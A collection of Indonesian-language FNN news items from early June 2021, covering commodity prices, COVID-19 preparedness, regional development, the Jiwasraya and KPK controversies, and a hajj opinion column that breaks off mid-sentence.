New York, FNN - Harga minyak turun tipis pada akhir perdagangan Kamis (Jumat pagi WIB), setelah mencatat kenaikan dua hari berturut-turut yang membawa minyak berjangka ke level tertinggi dalam setahun. Stok minyak mentah mingguan AS turun tajam sementara persediaan bahan bakar naik lebih besar dari yang diperkirakan. Minyak mentah berjangka Brent untuk pengiriman Agustus, turun 4 sen menjadi menetap di 71,31 dolar AS per barel, setelah menyentuh level tertinggi sejak Mei 2019 di awal sesi. Sehari sebelumnya, Brent melonjak 1,6 persen. Sementara itu, minyak mentah berjangka West Texas Intermediate (WTI) AS untuk pengiriman Juli kehilangan 2 sen, menjadi ditutup pada 68,81 dolar AS per barel. Harga WTI sempat naik ke tertinggi sesi 69,40 dolar AS, level terkuat sejak Oktober 2018, setelah naik 1,5 persen di sesi sebelumnya. Persediaan minyak mentah AS turun 5,1 juta barel pekan lalu, dibandingkan dengan ekspektasi penurunan 2,4 juta barel, sementara stok bensin meningkat 1,5 juta barel dan persediaan sulingan melonjak 3,7 juta barel. "Mereka membakar banyak minyak mentah, dan kami telah meningkatkan bensin dan sulingan," kata Bob Yawger, direktur energi berjangka di Mizuho di New York. "Anda tidak ingin membakar minyak mentah sebanyak itu dan kemudian pelanggan tidak menginginkannya." Permintaan bensin melonjak bulan lalu karena pembelian panik setelah penutupan Colonial Pipeline, lini produk olahan terbesar AS, yang berarti pengemudi cenderung tidak perlu mengisi tangki mereka selama akhir pekan Memorial Day, awal puncak musim mengemudi musim panas. "Permintaan bensin turun dari minggu ke minggu yang mungkin mengecewakan beberapa orang, tetapi masih solid," kata Phil Flynn, analis senior di Price Futures Group di Chicago. Harga minyak telah meningkat dalam beberapa hari terakhir karena ekspektasi, termasuk Organisasi Negara-negara Pengekspor Minyak (OPEC) dan sekutunya, bahwa permintaan minyak akan melebihi pasokan pada paruh kedua tahun ini. OPEC+ sepakat pada Selasa (1/6/2021) untuk melanjutkan rencana mengurangi pembatasan pasokan hingga Juli, memberikan dorongan terhadap harga minyak, untuk mengantisipasi peningkatan konsumsi. Pertemuan OPEC+ berlangsung 20 menit, tercepat dalam sejarah grup, menunjukkan kepatuhan yang kuat di antara anggota dan keyakinan bahwa permintaan akan pulih setelah pandemi COVID-19 menunjukkan tanda-tanda mereda. Juga mendukung harga adalah perlambatan dalam pembicaraan antara Amerika Serikat dan Iran mengenai program nuklir Teheran, yang mengurangi harapan untuk kembalinya pasokan minyak Iran ke pasar tahun ini. (ant)

Pemkot Medan Prediksi Kasus Covid-19 Bakal Melonjak

Medan, FNN - Pemerintah Kota (Pemkot) Medan, Sumatera Utara, memprediksi bakal terjadi lonjakan kasus COVID-19 usai libur lebaran, sehingga rumah sakit diminta memperhatikan tingkat keterisian tempat tidur. "RS Royal Prima sudah melakukan penambahan bed (tempat tidur) isolasi dan ICU. Ini mengantisipasi antrian pasien COVID-19, apalagi diprediksi akan terjadi lonjakan kasus," ucap Wali Kota Medan, Bobby Nasution di Medan, Kamis. Ia mengaku, tercatat RS Royal Prima menambah seperti yang disampaikan manajemen dengan menyediakan bed isolasi sebanyak 86 bed dari 290 bed yang direncanakan, dan 20 bed ICU. RS Martha Friska juga sudah beroperasi kembali menangani pasien virus corona dengan melakukan penambahan 50 bed mengantisipasi "Bed Occupancy Rate (BOR)" Kota Medan yang terus meningkat. Meski adanya penambahan bed ini, namun Wali Kota Medan tetap berharap tidak terjadi lonjakan COVID-19 di ibu kota Provinsi Sumatera Utara. "Mudah-mudahan bed ini tidak dipergunakan. Apabila nantinya tetap terjadi lonjakan, maka kita harapkan rumah sakit ini siap untuk menampungnya," tutur Wali Kota. ​​Direktur Utama RS Royal Prima, dr Suhartina Darmadi, menjelaskan, pihaknya saat ini sedang menyiapkan 290 kamar isolasi di antaranya siap dioperasikan 86 kamar isolasi, dan 20 bed ICU, "Masing-masing kamar isolasi di isi satu bed dengan fasilitas sekelas kamar VIP. Kecuali memang pasien itu satu keluarga, dan kita sediakan satu kamar untuk dua orang," ujarnya. (ant)

Belum Terima Insentif Covid-19, 30 Perawat Melapor ke Bupati Morut

Morowali Utara, FNN - Sebanyak 30 perawat mendatangi Wakil Bupati Morowali Utara (Morut), Sulawesi Tengah, H Djira K melaporkan bahwa selama sembilan bulan tidak pernah mendapat insentif penanganan pasien COVID-19 dari Rumah Sakit Umum Daerah (RSUD) Kolonodale tempat mereka bekerja. "Kami datang mewakili teman-teman perawat yang selama ini mendapat tugas khusus menangani pasien yang terindikasi positif COVID-19. Kami sudah menanyakan kepada pimpinan RSUD Kolonodale dan Dinas Kesehatan tapi tidak mendapat jawaban," kata Ketua Gerakan Nasional Perawat Honor Indonesia (GNPHI) Morut Marsoni Sule di ruang kerja Wabup Morut di Kantor Bupati Morut, Kamis. Di depan Wabup mereka mengaku terkahir mendapat insentif penanganan pasien COVID-19 Agustus 2020. Marsoni mengemukakan para perawat itu mendapat Surat Keputusan (SK) khusus untuk menangani para pasien COVID-19. "Dengan demikian mereka mendapat honor atau insentif khusus selain honor yang mereka terima setiap bulannya sebagai perawat," ujarnya. Wabup Morut H Djira K dalam pertemuan itu menyampaikan agar para perawat tersebut bicara apa adanya tanpa ditambah atau dikurangi. "Bicara terbuka saja, jangan takut-takut. Nanti kita cari tahu apa masalahnya," ujarnya. Ia menjanjikan segera memanggil pihak-pihak terkait untuk mengkonfirmasi laporan para perawat tersebut. Djira juga sempat menanyakan besaran honor tiap perawat dari dana COVID-19 tersebut. Ini dimaksudkan untuk mengetahui angka total honor yang mereka persoalkan. "Besarnya honor tergantung dari jumlah pasien COVID-19 yang dirawat. Semakin banyak pasien yang dirawat maka semakin besar nominalnya," ucap Marsoni.

Bupati Bogor Janji Fokus Penataan Kota dan Desa

Cibinong, FNN - Bupati Bogor, Jawa Barat, Ade Yasin berjanji akan fokus melakukan penataan wajah ibu kota dan pedesaan di tahun berjalan saat memperingati Hari Jadi Bogor (HJB) ke-539, Kamis (3/6). "Ini kita lakukan agar wilayah Kabupaten Bogor terlihat bersih dan indah, sehingga masyarakat termotivasi meskipun dalam kondisi pandemi, ternyata ada sesuatu yang dibangun dan terlihat oleh masyarakat, sehingga menimbulkan kepercayaan dari masyarakat," ungkapnya usai sidang paripurna istimewa di Gedung DPRD, Cibinong, Kabupaten Bogor. Konsep penataan Ibu kota Cibinong Raya yaitu bernama City Beautifica­tion Project (CBP) atau pro­gram mempercantik kota. Penataan Ci­binong sebagai Ibu kota Kabupaten Bogor dimulai dari Simpang Sentul hingga Jalan Raya Tegar Beriman. Bahkan, penataan akan terus dilanjutkan hingga perbatasan Kabupaten Bogor dengan Kota Depok. "Untuk 2021, Pemkab Bogor menyediakan anggaran seki­tar Rp300 miliar untuk pena­taan Ibu kota Kabupaten Bo­gor, Cibinong. Itu untuk fokus pembangunan pedestrian, mulai dari Simpang Sentul hingga Tegar Beriman,” ujar Ade Yasin. Sementara penataan pedesaan dilakukan Pemkab Bogor dengan meluncurkan program bantuan keuangan untuk infrastruktur desa bernama Satu Miliar Satu Desa (Samisade). Ia menggelontorkan Samisade sebesar Rp318,5 miliar kepada 356 desa untuk menstimulus pembangunan infrastruktur desa. Ia berharap, Samisade bisa mendorong desa dari status berkembang menjadi maju. “Kan dari 416 desa, masih ada desa tertinggal. Nah dengan Samisade diharapkan, desa tertinggal menjadi berkembang dan desa berkembang menjadi maju,” tuturnya. Di samping itu Ade Yasin bersyukur tahun ini masih bisa memperingati HJB ke-539. Ia menegaskan bahwa peringatan dan rangkaian peringatan HJB bukan dalam rangka hura-hura di tengah pendemi, melainkan untuk mengingatkan kepada masyarakat bahwa hari ini adalah HJB. “Tahun lalu kita tidak gelar paripurna, baru bisa kita laksanakan tahun ini, kita juga peringati dengan upacara dan pemberian penghargaan kepada masyarakat, yang turut berperan aktif dalam pembangunan Kabupaten Bogor, dan turut aktif dalam menjaga lingkungan masing-masing,” ujarnya. (ant)

Penanganan Kasus Jiwasraya Berdampak pada Pasar Modal

Jakarta, FNN - Lokataru Kantor Hukum dan HAM menilai penegakan hukum yang agresif dalam kasus gagal bayar Jiwasraya ternyata berdampak terhadap kondisi pasar modal di dalam negeri. Direktur Eksekutif Lokataru Kantor Hukum dan HAM, Haris Azhar dalam rilis laporan berjudul "Penegakan Hukum yang Mengganggu Roda Perekonomian: Kasus Jiwasraya dan Dampaknya Terhadap Pasar Modal Indonesia" diterima di Jakarta, Jumat, mengatakan dampak terbesar dari kasus Jiwasraya bukan pada penurunan nilai IHSG. Melainkan, dampaknya pada menyusutnya jumlah transaksi di pasar modal, baik yang dilakukan oleh investor institusi maupun investor ritel. "Begitu juga dengan frekuensi transaksi harian di bursa yang turut melambat," kata dia. Lewat laporan Lokataru itu, lanjut Haris, diketahui bahwa sebelum dinyatakan gagal bayar, Jiwasraya memiliki cadangan dana yang mumpuni. Justru katanya ketika dinyatakan gagal bayar, cadangan dana tersebut mengalami pembekuan, tidak bisa digunakan, dan akhirnya nasabah serta pihak ketiga tidak bisa mengakses hak mereka. Haris menambahkan bahwa laporan itu juga mengungkap sejumlah kejanggalan yang masih tersisa setelah pengungkapan kasus tersebut. "Pertama, pada saat diumumkan gagal bayar, Jiwasraya sebenarnya masih memiliki aset tunai yang lebih dari cukup untuk membayar klaim jatuh tempo tersebut," kata dia. Kedua, guliran pernyataan lebih deras dan mendahului dari pada penyelesaian skema bisnis untuk melindungi hak pihak ketiga, nasabah dan lainnya. Penawaran penyelesaian skema bisnis baru muncul belakangan, itu tanpa melibatkan, cara dan kepentingan, para nasabahnya. Ketiga, lanjut Haris, akibat pernyataan gagal bayar, memunculkan market chaotic, terutama para pemegang saham Jiwasraya berbondong-bondong mulai menarik dananya. Selain itu, pada saat yang sama tidak ada lagi nasabah baru yang mau membeli produk asuransi Jiwasraya. Keempat, gagal bayar dijadikan kasus pidana korupsi, yang kemudian ditangani oleh Kejaksaan Agung. Penahanan pada sejumlah nama, justru memperburuk kondisi pasar saham bukan hanya Jiwasraya, antusiasme pasar modal menurun. Lebih lanjut, Lokataru menilai penyelesaian yang berlarut-larut kendati perseroan memiliki kas yang cukup untuk membayar kewajiban kepada para pemegang polis telah mengganggu kepercayaan yang telah dibangun bertahun-tahun. Setelah kasus menyeruak, hampir seluruh pemegang polis yang ada tidak bersedia memperpanjang kontrak asuransinya. Bahkan, pemegang polis untuk kontrak berjalan pun ikut-ikutan mengakhiri kontrak. "Alih-alih mengupayakan kembalinya uang nasabah, proses pengungkapan dan penegakan hukum justru menyebabkan utang klaim yang terus berlarut-larut, sehingga malah mempercepat runtuhnya kredibilitas Jiwasraya di mata nasabahnya, yang kemudian merembet pada terganggunya kinerja pasar saham Indonesia," ujarnya. (ant)

ICW Laporkan Firli Bahuri ke Bareskrim Polri

Jakarta, FNN - Indonesia Corruption Watch (ICW) melaporkan Ketua Komisi Pemberantasan Korupsi (KPK) Firli Bahuri ke Bareskrim Polri atas dugaan penerimaan gratifikasi, Kamis. Tiga orang perwakilan ICW tiba di Bareskrim Polri, Jakarta, sekitar pukul 11.25 WIB, membawa satu bundel berkas bersampul biru bertulis "Dugaan Penerimaan Gratifikasi oleh Firli Bahuri selaku Ketua KPK RI". Ketiga perwakilan ICW tersebut diwakili Kurnia Ramadhana dan Wana Alamsyah selaku peneliti ICW. Saat dugaan korupsi apa yang dilaporkan, para peneliti ICW mengatakan bahwa pihaknya akan memberikan keterangan setelah mereka memasukkan laporan ke Bareskrim Polri. "Nanti saja setelah laporan, ya," kata Kurnia Ramadhana, peneliti ICW. Sebelumnya, ICW mewakili Koalisi Masyarakat Sipil Antikorupsi mengirimkan surat permohonan kepada Kapolri Jenderal Pol. Listyo Sigit Prabowo perihal permintaan penarikan atau pemberhentian Ketua KPK Konjen Pol. Firli Bahuri sebagai anggota Polri, Selasa (25/5). Ada beberapa laporan atau kejadian terkait dengan Firli yang disampaikan dalam surat permohonan itu, yakni pertama pada tahun 2020, ada kasus pengembalian paksa Kompol Rossa Purbobekti. Laporan yang kedua ada kasus pelanggaran etik yang bersangkutan saat mengendarai helikopter mewah. Ketiga, lanjut dia, yang paling fatal terkait dengan tes wawasan kebangsaan yang mengakibatkan 75 pegawai KPK dinonaktifkan. (ant)

Harga Emas Anjlok USD 36,6 Menyusul Penguatan "Greenback"

Chicago, FNN - Harga emas tergelincir pada akhir perdagangan Kamis (Jumat pagi WIB), karena data pekerjaan dan sektor jasa AS yang lebih baik dari perkiraan mengangkat dolar lebih tinggi. Kondisi tersebut juga mendorong ekspektasi bahwa data ekonomi yang kuat dapat memicu kembali pembicaraan tapering (pengurangan pembelian obligasi) dari Federal Reserve. Kontrak emas paling aktif untuk pengiriman Agustus di divisi Comex New York Exchange, anjlok 36,6 dolar AS atau 1,92 persen, menjadi ditutup pada 1.873,30 dolar AS per ounce. Sehari sebelumnya, Rabu (2/6/2021), emas berjangka menguat 4,9 dolar AS atau 0,26 persen menjadi 1.909,90 dolar AS per ounce. Emas berjangka turun tipis 30 sen atau 0,02 persen menjadi 1.905 dolar AS pada Selasa (1/6/2021), setelah meningkat 6,8 dolar AS atau 0,36 persen menjadi 1.905,30 dolar AS pada Jumat (28/5/2021), dan merosot 5,3 dolar AS atau 0,28 persen menjadi 1.898,50 dolar AS pada Kamis (27/5/2021). Pasar AS tutup pada Senin (31/5/2021) untuk libur Memorial Day. "Kami keluar dari kesulitan (ekonomi) di sini, data semakin baik, ada beberapa masalah inflasi yang dapat meredam banyak hal, tetapi kami telah berbelok," Bob Haberkorn, ahli strategi pasar senior di RJO Futures, mengatakan. “Data yang lebih baik dari perkiraan telah membuat para pedagang bertahan. Mereka sedang mempersiapkan kemungkinan pernyataan dari Federal Reserve tentang tapering atau suku bunga yang lebih tinggi, meskipun tidak segera." Indeks dolar yang mengukur greenback terhadap enam mata uang utama saingannya naik 0,7 persen, membuat emas mahal bagi pemegang mata uang lainnya, sementara imbal hasil obligasi pemerintah AS juga menguat. Departemen Tenaga Kerja AS melaporkan pada Kamis (3/6/2021) bahwa klaim pengangguran mingguan baru AS turun 20.000 menjadi 385.000 dalam pekan yang berakhir 29 Mei. Angka tersebut telah turun untuk minggu kelima berturut-turut, menandakan pemulihan pasar tenaga kerja yang kuat. Sementara pengusaha swasta meningkatkan perekrutan pada Mei, laporan ketenagakerjaan nasional Automatic Data Processing (ADP) menunjukkan. ADP melaporkan 978.000 pekerjaan baru sektor swasta pada Mei, jauh di atas kenaikan 680.000 yang diperkirakan oleh para ekonom. Sementara itu, ukuran aktivitas industri jasa AS meningkat ke rekor tertinggi pada Mei. "Hasil ADP yang jauh lebih kuat dari perkiraan menunjukkan lonjakan serupa dalam daftar gaji besok setelah hasil buruk bulan lalu telah mendorong dolar lebih tinggi dan memicu likuidasi panjang emas di bawah 1.890 dolar AS," kata Tai Wong, kepala perdagangan derivatif logam di BMO. "Dukungan 1.850-60 dolar AS signifikan dan akan bertahan dalam emas." Fokus sekarang beralih ke angka-angka penggajian nonpertanian AS yang akan dirilis pada Jumat waktu setempat. Logam mulia lainnya, perak untuk pengiriman Juli turun 72,7 sen atau 2,58 persen, menjadi ditutup pada 27,477 dolar AS per ounce. Platinum untuk pengiriman Juli turun 30,2 dolar AS atau 2,53 persen menjadi ditutup pada 1,162,50 dolar AS per ounce. (ant)

BI Kalbar Dukung Semarak Pariwisata, UMKM dan Keuangan Khatulistiwa

Pontianak, FNN - Kantor Perwakilan Bank Indonesia Kalbar mendukung upaya pemerintah memulihkan ekonomi daerah melalui Semarak Pariwisata, UMKM dan Keuangan Khatulistiwa (Saprahan Khatulistiwa) 2021 yang dilgelar pada Juni 2021. “Saprahan Khatulistiwa bentuk kontribusi BI dalam mendorong pemulihan ekonomi Kalbar. Kegiatan ini merupakan sinergi program antara BI bersama pemerintah daerah, Dekranasda se-Kalbar serta pelaku industri,” ujar Kepala Kantor Perwakilan BI Kalbar, Agus Chusaini di Pontianak, Kamis. Kegiatan yang akan dibuka pada 7 Juni 2021 tersebut juga dalam rangkaian dari Gerakan Nasional Bangga Buatan Indonesia (GBBI) dan Gerakan Nasional Bangga Berwisata di Indonesia (GBWI). “Saprahan Khatulistiwa bertujuan untuk mendukung Gernas BBI dan Gernas GWBI yang dicanangkan Presiden Republik Indonesia dan pagelaran Karya Kreatif Indonesia (KKI) yang merupakan flagship event BI,” ujarnya. Melalui kegiatan tersebut diharapkan dapat meningkatkan peran BI dalam mendorong pemulihan bagi UMKM dan sektor pariwisata antara lain melalui peningkatan kelembagaan, sertifikasi cleanliness, health, safety, environment (CHSE), pelatihan serta menampilkan produk. “Saprahan Khatulistiwa juga akan menjadi kegiatan strategis daerah yang akan dilaksanakan setiap tahun dan menjadi media komunikasi kebijakan BI kepada masyarakat secara optimal,” kata Agus Chusaini. Dengan mempertimbangkan kondisi pandemi COVID-19 maka penyelenggaraan rangkaian Saprahan Khatulistiwa 2021 akan dilaksanakan dengan menggunakan konsep hybrid yang mencakup tiga kegiatan utama. Pertama, sebelum kegiatan yakni dengan meningkatkan kepedulian dan menjalin komunikasi para pihak yang terlibat dalam Saprahan Khatulistiwa 2021. “Kegiatan tersebut terdiri atas Gowes QRIS, berbagai lomba wartawan dan masyarakat umum, serta kegiatan komunikasi, talkshow dan press conference,” ujarnya. Kedua, saat kegiatan berlangsung dengan rangkaian kegiatan terdiri dari pembukaan, pameran produk UMKM, webinar pariwisata, sosialisasi dan edukasi UMKM, pelatihan CHSE dan QRIS, penyerahan PSBI, serta pertemuan bisnis UMKM . Pameran terbatas produk UMKM di Pendopo Gubernur Kalbar pada 7-9 Juni 2021. Kegiatan tersebut merupakan upaya untuk meningkatkan transaksi UMKM, pencapaian target merchant QRIS melalui kerjasama dengan Penyelenggara Jasa Sistem Pembayaran (PJSP) di Kalbar serta sosialisasi edukasi cinta bangga paham Rupiah. Pembukaan Saprahan Khatulistiwa akan dilaksanakan pada 7 Juni 2021 yang akan dibuka oleh Menteri Koperasi dan UKM Republik Indonesia, Anggota Dewan Gubernur Bank Indonesia dan Gubernur Provinsi KALBAR, serta dihadiri oleh Walikota/Bupati & Dekranasda se-Kalbar, Forkopimda, Akademisi, UMKM, industri keuangan, dan masyarakat luas. Kemudian ada pameran Produk UMKM Unggulan Provinsi Kalbar di Ayani Megamall Pontianak pada tanggal pada tanggal 11-24 Juni 2021. Ketiga, setelah kegiatan yang difokuskan pada diseminasi perekonomian dan seminar investasi sebagai upaya mendorong percepatan dan peningkatan investasi di Kalbar. “Investasi penting dalam meningkatkan pertumbuhan ekonomi. Nah, melalui seminar tersebut sebagai upaya BI mendorong percepatan investasi sehingga potensi bisa digali secara bersama,” katanya.

Gubernur Kaltim Luncurkan Konsep Blue Economy di Maratua

Samarinda, FNN - Gubernur Kaltim Isran Noor meluncurkan konsep blue economy (ekonomi biru) di perairan Pulau Maratua sebagai bentuk pengembangan pembangunan kepariwisataan di wilayah itu. Peluncuran blue economy yang digagas Tim Percepatan Pengembangan Strategis Kepariwisataan Kepulauan Maratua, itu dihadiri Utusan Khusus Presiden Seychelles untuk ASEAN Nico Barito dan Bupati Berau Sri Juniarsih, di Samarinda, Kamis. Konsep blue economy adalah pemanfaatan berkelanjutan sumber daya laut untuk pertumbuhan ekonomi, peningkatan mata pencaharian dan pekerjaan, dan kesehatan ekosistem laut. Gubernur Isran Noor mengatakan, kerja sama yang telah berjalan antara Pemprov Kaltim, Pemkab Berau dan Seychelles terkait pengembangan pembangunan kepariwisataan di Maratua diyakini bisa berkembang dan maju jika tetap dilakukan secara serius. Ia pun berharap sektor pariwisata di Kaltim bisa kembali pulih di tengah pandemi COVID-19 yang terjadi saat ini. Kerja sama ini sudah dilakukan juga di beberapa daerah di Indonesia, kita berharap semuanya bisa maju dan berkembang. "Di tengah pandemi ini sektor pariwisata sangat terdampak. Kerja sama ini kita juga berharap kepariwisataan di Kaltim, khususnya di Maratua ini bisa bangkit dan perekonomian semakin meningkat," kata Isran Noor. Sementara Utusan Khusus Presiden Seychelles untuk ASEAN, Nico Barito menjelaskan konsep pengelolaan ekonomi biru difokuskan dalam pengelolaan kelautan. Melalui pendekatan pengelolaan pariwisata secara berkelanjutan dengan tujuan pertumbuhan ekonomi. Dengan prinsip keterlibatan masyarakat, efisiensi sumber daya dan meminimalkan limbah. "Selama ini di Kaltim konsepnya ekonomi hijau seperti perkebunan, pertambangan jadi sekarang beralih ke laut yang punya potensi besar juga. Karena sebagian besar wilayah di dunia ini didominasi perairan. Jadi mulai ditanamkan konsep ini dalam pengelolaan pariwisata," katanya. Selain itu, diluncurkan proyek percontohan homestay kelas menengah ke atas di Kampung Teluk Harapan dan Kampung Teluk Alulu. Kedua program ini merupakan tindak lanjut kunjungan Tim Percepatan Pengembangan Strategis Kepariwisataan Kepulauan Maratua ke Seychelles pada Maret 2019 dan Desember 2019.

Pemkot dan Polresta Bogor Gelar UMKM Flora Fauna

Bogor, FNN - Kolaborasi antara Polresta Bogor dengan Pemerintah Kota Bogor, Perhimpunan Hotel dan Restoran Indonesia (PHRI) cabang Kota Bogor, dan Kamar Dagang dan Industri (Kadin) Kota Bogor, menyelenggarakan pameran "UMKM Flora dan Fauna" di Kota Bogor. Pameran bertema "Polisi Sahabat UMKM" diselenggarakan pada momentum peringatan Hari Jadi Bogor (HJB) ke-539, pada 3 Juni 2021 dengan sasaran mendorong UMKM sebagai bagian dari pilar ekonomi kerakyatan, pada program pemulihan ekonomi nasional (PEN). Kapolresta Bogor Kota, Kombes Pol Susatyo Purnomo Condro, di Kota Bogor, Kamis, mengatakan, pameran "UMKM Flora dan Fauna" ini adalah salah satu langkah dalam membangkitkan UMKM di tengah situasi pandemi COVID-19 saat ini. "Pandemi COVID-19 sejak Maret 2020 sampai saat ini belum berakhir, sehingga harus dilakukan langkah-langkah untuk membangkitkan ekonomi kerakyatan," katanya. Susatyo Purnomo Condro menuturkan, kegiatan "UMKM Flora dan Fauna" ini tujuannya untuk membangkitkan UMKM di Kota Bogor dalam upaya pemulihan ekonomi kerakyatan. Wali Kota Bogor, Bima Arya, mengatakan, langkah Polresta Bogor Kota ini merupakan salah satu bentuk dari arahan Presiden Joko Widodo untuk membangkitkan ekonomi rakyat di daerah. "Saya menghargai langkah Polresta Bogor Kota yang bekerja sama dengan instansi lain untuk menyeleggarakan pameran produk UMKM. Kegiatan ini juga menunjukkan bahwa Forkopimda Kota Bogor solid dan kompak," katanya. Menurut Bima Arya, Pemerintah Kota Bogor mendorong agar UMUM di Kota Bogor bisa segera bangkit. "Bukan hanya UMKM Flora dan Fauna, tapi UMKM pada semua bidang," katanya.

Papua Barat Rancang Dokumen Induk Industri Pariwisata

Manokwari, FNN - Pemerintah Provinsi Papua Barat merancang dokumen induk pengembangan potensi pariwisata di Kabupaten Manokwari, Manokwari Selatan dan Pegunungan Arfak, sebagai satu simpul Kawasan Strategis Pariwisata Nasional atau KSPN. Kepala Balitbangda Papua Barat Prof.Dr. Charlie Heatubun, di Manokwari, Kamis, mengatakan bahwa Provinsi Papua Barat yang kaya akan potensi wisata, baru memiliki satu KSPN yang telah berjalan yaitu simpul Sorong-Raja Ampat. Merespon program prioritas nasional ini, Badan Penelitian dan Pengembangan Daerah (Balitbangda) Papua Barat menggelar seminar dan pengembangan pariwisata terhadap tiga daerah yang akan diusulkan sebagai KSPN Simpul Manokwari-Mansel-Pegaf. "Dengan adanya Inpres Nomor 9 Tahun 2020, maka daerah harus punya terobosan dengan inisiatif, salah satunya potensi pariwisata Papua Barat yang menjanjikan ini perlu didorong sebagai KSPN khususnya simpul Manokwari-Mansel-Pegaf," kata Charlie. Charlie menuturkan, melalui kerjasama dengan mitra pembangunan, Papua Barat sudah punya konsep pengembangan KSPN Simpul Manokwari-Manokwari Selatan dan Pegunungan Arfak ini pun sudah pernah diusulkan kepada Wakil Presiden Ma'ruf Amin dan Bappenas. "Usulan KSPN Simpul Manokwari, Manokwari Selatan dan Pegunungan Arfak sudah mendapat respon dari Wapres Ma'ruf Amin sebagai Ketua Tim Percepatan pembangunan Papua-Papua Barat. Oleh karenanya sedang menyiapkan dokumen perencanaan dalam pengembangan Simpul ini," katanya. Sementra itu, Asisten III Bidang Admistrasi Umum Setda Papua Barat, Raymond R.H Yap mengakui bahwa Gubernur Papua Barat menginginkan sektor pariwisata menjadi leading sektor di provinsi itu. Baik pariwisata bahari, alam, sejarah dan wisata budaya. "Program KSPN di Papua Barat terdiri dari dua simpul, yakni simpul Sorong-Raja Ampat yang sedang berjalan, dan simpul Manokwari, Manokwari Selatan dan Pegunungan Arfak yang sedang didorong dengan menyiapkan rencana induk," kata Raymond. Tiga daerah yang disiapkan sebagai KSPN ini memiliki potensial pariwisata yang unik dan menjanjikan dari sisi ekologi, budaya dan ekonomi. Kabupaten Manokwari disiapkan sebagai museum keanekaragaman hayati dengan pengembangan Taman Wisata Alam (TWA) Gunung Meja, Kabupaten Manokwari Selatan dengan melakukan revitalisasi pabrik cokelat Ransiki, serta Kabupaten Pegunungan Arfak dengan pengembangan potensi wisata danau Anggi. (ant)

ADPM Kuatkan Posisi BUMD Gali Potensi Migas Daerah

Bandung, FNN - Ketua Asosiasi Daerah Penghasil Migas dan Energi Terbarukan (ADPMET) M Ridwan Kamil mengatakan BUMD harus dilibatkan dalam mengakselerasi serta menguatkan potensi migas dan energi daerah. “Untuk merumuskan rencana kerja kami di tahun ini dan juga tahun mendatang organisasi ADPMET akan memperjuangkan keadilan daerah,” kata Ridwan Kamil dalam siaran pers Humas Pemprov Jabar, Kamis. ADPMET menggelar Rapat Kerja Nasional (Rakernas) di Kabupaten Banyuasin, Sumatera Selatan, untuk menyamakan persepsi tentang potensi-potensi yang berkaitan dengan migas. Menurut Ridwan Kamil yang akrab disapa Kang Emil ini, bahwa hal utama yang dibahas dalam Rakernas ADPMET ialah memberikan kewenangan kepada BUMD untuk mengelola perusahaan di bawah Pertamina yang bekerja tidak maksimal. “Salah satunya mengupayakan ladang-ladang marjinal yang sudah tidak maksimal di Pertamina dan perusahaan yang lain untuk dikelola oleh BUMD daerah,” ujarnya. Menurutnya hal tersebut terbilang mudah dikatakan tapi membutuhkan waktu dalam mengimplementasikannya di lapangan. “Ini terlihat mudah diucapkan tapi perjuangannya luar biasa. Tapi nanti kesejahteraannya bisa menetes ke daerah-daerah secara langsung,” katanya. Selain itu, Kang Emil juga akan mencoba menguatkan pembagian hasil saling menguntungkan dari investor. “Kita memperjuangkan juga bagi hasil, karena baru Jabar dan Kalimantan Timur yang berhasil mendapatkan bagi hasil dari investor namanya participating interest 10 persen,” katanya. “Berkisar ratusan miliar alhamdulillah, tapi provinsi daerah lain belum. Kita akan berbagi perjuangan Sila Kelima Pancasila, yaitu keadilan sosial bagi seluruh rakyat Indonesia,” tambahnya. Sementara itu, Gubernur Sumsel Herman Daru mengatakan rakernas ADPMET digelar guna menyamakan persepsi tentang potensi-potensi yang berkaitan dengan migas untuk kemaslahatan masyarakatnya. “Jadi saya sudah sampaikan bahwa seyogianya sumber daya alam itu menjadi linier dengan kesejahteraan masyarakat,” kata Deru. “Butuh kekuatan dan dorongan untuk bersatu di antara penghasil migas dan insyallah nanti pangan agar ini dapat terasa manfaatnya bagi masyarakat,” katanya. Direktur Utama PT Migas Hulu Jabar (MUJ) Begin Troys mengatakan, kepemilikan PI untuk setiap daerah melalui BUMD merupakan peraturan yang berlaku dalam pengelolaan industri migas nasional. Bersama dengan operator pengelola wilayah kerja migas, BUMD bisa belajar dalam mengelola PI sehingga daerah bisa mendapatkan tantangan pengembangan usaha energi lainnya termasuk energi baru terbarukan (EBT). "Arahan dari pada Ketua APDMET (Ridwan Kamil) bahwa sumber daya alam itu bisa sejalan untuk kesejahteraan dan keadilan masyarakat. Sehingga kita sebagai BUMD harus membuka akses energi bagi masyarakat dengan pengelolaan potensi energi yang dimiliki dari setiap wilayah," kata Begin yang juga merupakan Koordinator BUMD ADPMET. (ant)

Haji Yang Harus Terklarifikasi

By M Rizal Fadillah Bandung, FNN - Ibadah haji menjadi ibadah yang dinanti umat Islam apalagi yang telah mendaftar dan memenuhi jadwal porsi berangkat. Akan tetapi penyelenggaraan haji selalu bermasalah. Tahun ini seperti tahun lalu masalah pandemi menjadi kendala. Calon jamaah haji kita harus bisa mengendalikan keinginan dan harapan. Persoalan sabar tentu menjadi kewajiban imani dan yang terbaik menurut Allah adalah ketetapan takdir-Nya. Yang menjadi masalah adalah kepastian, kejujuran, dan keamanan yang bisa dijamin oleh penyelenggara yaitu Pemerintah. Pemerintah yang bingung tentu membingungkan. Isu yang berkembang adalah bahwa Saudi Arabia tidak memberi kuota kepada Indonesia tahun ini dengan alasan yang belum jelas. Hanya yang mengemuka adalah soal vaksin China Sinovac yang digunakan Indonesia belum tersertifikasi WHO. Hanya Pfizer, Moderna dan AstraZeneca yang lolos vaksin haji menurut Saudi. Ini persoalan berat karena Indonesia telah menyiapkan secara besar-besaran vaksin Sinovac China sedangkan AstraZeneca masih tergolong sedikit penggunaannya. Dalam tayangan wawancara ekonom Rizal Ramli menyebut bahwa masalah Indonesia dan Saudi soal haji bukan hanya vaksin tetapi juga menyangkut sejumlah tagihan yang belum terbayarkan. Untuk jamaah keresahan bertambah atas dana haji yang konon digunakan untuk pembangunan infrastruktur. DPR RI meminta Pemerintah serius menangani persoalan keberangkatan jamaah haji Indonesia tahun 2021 ini. Presiden Jokowi diminta turun tangan. Termasuk melobi Saudi. Rakyat, khususnya umat Islam butuh klarifikasi Pemerintah atas persoalan yang ada dengan sejelas-jelasnya. Jika tidak terklarifikasi, maka Pemerintah wajar disalahkan dan akan menanggung gugatan di kemudian hari. Atas kekecewaan ini desakan agar Menag Yaqut mundur juga sudah terdengar. Sekurangnya empat hal penting untuk diklarifikasi oleh Pemerintah, yaitu : Pertama, benarkah persoalan vaksin Sinovac menjadi satu-satunya alasan konon Indonesia tidak memperoleh kuota haji dari 